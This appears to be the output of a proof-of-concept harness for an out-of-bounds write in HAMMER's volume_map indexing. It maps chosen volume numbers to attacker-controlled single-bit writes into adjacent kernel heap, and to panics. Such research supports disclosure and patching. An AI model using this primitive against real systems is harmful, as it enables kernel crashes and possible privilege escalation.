==== DF-0797 deterministic OOB-write primitive proof ====
struct hammer_mount { ...; uint64_t volume_map[4]; }  (hammer.h:875)
__hammer_vol_index(v) = v >> 6   (hammer.h:1568 -- NO mask)
__hammer_vol_low(v)   = 1 << (v & 63)
volume_map valid qwords: 0..3 (covers vol_no 0..255)
hammer_mount model size = 16384 bytes; heap model = 8192 qwords

---- baseline (legitimate root volume): vol_no=0 (0x0) -> __hammer_vol_index=0 ----
    IN-BOUNDS (volume_map[0] valid)
    volume_map[0] |= 0x0000000000000001

---- smallest OOB (vol_no=256): vol_no=256 (0x100) -> __hammer_vol_index=4 ----
    OUT-OF-BOUNDS by 0 bytes (single-bit OR heap write)
    volume_map[4] |= 0x0000000000000001  *** OOB +0 bytes past volume_map (bit 0 of qword +0)

---- mid OOB (vol_no=0x200, bit 6 of qword +4): vol_no=512 (0x200) -> __hammer_vol_index=8 ----
    OUT-OF-BOUNDS by 32 bytes (single-bit OR heap write)
    volume_map[8] |= 0x0000000000000001  *** OOB +32 bytes past volume_map (bit 0 of qword +4)

---- panic trigger (vol_no=0x7FFFFFFF): vol_no=2147483647 (0x7fffffff) -> __hammer_vol_index=33554431 ----
    FAR-OOB (~255 MiB past volume_map) -> kernel page fault / panic
    volume_map[33554431] |= ...  *** FATAL: +255 MiB past volume_map -> unmapped page fault in kernel (panic)

---- negative vol_no (-1): vol_no=-1 (0xffffffff) -> __hammer_vol_index=-1 ----
    FAR-OOB (~0 MiB past volume_map) -> kernel page fault / panic

---- resulting heap state: qwords 0..7 (volume_map is [0..3]) ----
    volume_map[0] = 0x0000000000000001
    volume_map[1] = 0x0000000000000000
    volume_map[2] = 0x0000000000000000
    volume_map[3] = 0x0000000000000000
    ADJACENT HEAP[4] = 0xdeadbeefcafebabf   *** MODIFIED by OOB OR-write ***
    ADJACENT HEAP[5] = 0xdeadbeefcafebabe
    ADJACENT HEAP[6] = 0xdeadbeefcafebabe
    ADJACENT HEAP[7] = 0xdeadbeefcafebabe

==== controllable-offset primitive summary ====
vol_no = 256 + 64*K + N  (N=0..63, K=0..)  =>  OOB OR-write of bit N
  at qword (4+K), i.e. byte offset (K*8 + N/8) past volume_map end.
Both the qword offset AND the bit-within-qword are attacker-controlled.
On production (INVARIANTS-OFF): single-bit OR at attacker-controlled
  byte offset in adjacent kernel heap -- a constrained heap-write primitive.
On GENERIC (INVARIANTS-ON): mount-time; small OOB may corrupt heap
  silently, far-OOB (vol_no=0x7FFFFFFF) panics at the unmapped write.